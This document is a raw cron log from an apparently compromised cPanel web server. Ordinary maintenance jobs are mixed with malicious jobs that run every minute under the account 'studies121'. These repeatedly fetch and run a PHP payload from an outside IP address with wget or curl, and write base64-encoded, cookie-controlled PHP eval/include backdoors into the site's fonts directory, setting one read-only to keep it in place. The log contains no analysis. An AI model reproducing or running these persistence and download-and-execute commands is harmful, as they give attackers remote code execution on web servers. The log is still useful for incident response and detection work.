Sep  1 20:30:01 ip-184-168-122-23 CROND[20731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:30:01 ip-184-168-122-23 CROND[20729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:30:01 ip-184-168-122-23 CROND[20736]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 20:30:01 ip-184-168-122-23 CROND[20737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:30:01 ip-184-168-122-23 CROND[20734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:31:01 ip-184-168-122-23 CROND[20848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:31:01 ip-184-168-122-23 CROND[20851]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:31:01 ip-184-168-122-23 CROND[20853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:31:01 ip-184-168-122-23 CROND[20854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:31:01 ip-184-168-122-23 CROND[20856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:32:01 ip-184-168-122-23 CROND[21009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:32:01 ip-184-168-122-23 CROND[21010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:32:01 ip-184-168-122-23 CROND[21011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:32:01 ip-184-168-122-23 CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:32:01 ip-184-168-122-23 CROND[21012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:33:01 ip-184-168-122-23 CROND[21102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:33:01 ip-184-168-122-23 CROND[21104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:33:01 ip-184-168-122-23 CROND[21103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:33:01 ip-184-168-122-23 CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:34:01 ip-184-168-122-23 CROND[21213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:34:01 ip-184-168-122-23 CROND[21216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:34:01 ip-184-168-122-23 CROND[21217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:34:01 ip-184-168-122-23 CROND[21215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:34:01 ip-184-168-122-23 CROND[21218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21307]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:35:01 ip-184-168-122-23 CROND[21313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:35:01 ip-184-168-122-23 CROND[21317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:36:01 ip-184-168-122-23 CROND[21425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:36:01 ip-184-168-122-23 CROND[21426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:36:01 ip-184-168-122-23 CROND[21429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:36:01 ip-184-168-122-23 CROND[21432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:36:01 ip-184-168-122-23 CROND[21430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:37:01 ip-184-168-122-23 CROND[21519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:37:01 ip-184-168-122-23 CROND[21520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:37:01 ip-184-168-122-23 CROND[21524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:37:01 ip-184-168-122-23 CROND[21525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:38:01 ip-184-168-122-23 CROND[21684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:38:01 ip-184-168-122-23 CROND[21688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:38:01 ip-184-168-122-23 CROND[21686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:38:01 ip-184-168-122-23 CROND[21687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:38:01 ip-184-168-122-23 CROND[21689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:39:01 ip-184-168-122-23 CROND[21789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:39:01 ip-184-168-122-23 CROND[21788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:39:01 ip-184-168-122-23 CROND[21791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:39:01 ip-184-168-122-23 CROND[21796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:39:01 ip-184-168-122-23 CROND[21795]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 20:40:01 ip-184-168-122-23 CROND[21921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:40:01 ip-184-168-122-23 CROND[21923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:40:01 ip-184-168-122-23 CROND[21924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:40:01 ip-184-168-122-23 CROND[21926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:40:01 ip-184-168-122-23 CROND[21925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:40:01 ip-184-168-122-23 CROND[21927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:40:01 ip-184-168-122-23 CROND[21928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:40:01 ip-184-168-122-23 CROND[21929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:41:01 ip-184-168-122-23 CROND[22025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:41:01 ip-184-168-122-23 CROND[22026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:41:01 ip-184-168-122-23 CROND[22029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:41:01 ip-184-168-122-23 CROND[22027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:42:01 ip-184-168-122-23 CROND[22129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:42:01 ip-184-168-122-23 CROND[22131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:42:01 ip-184-168-122-23 CROND[22133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:42:01 ip-184-168-122-23 CROND[22134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
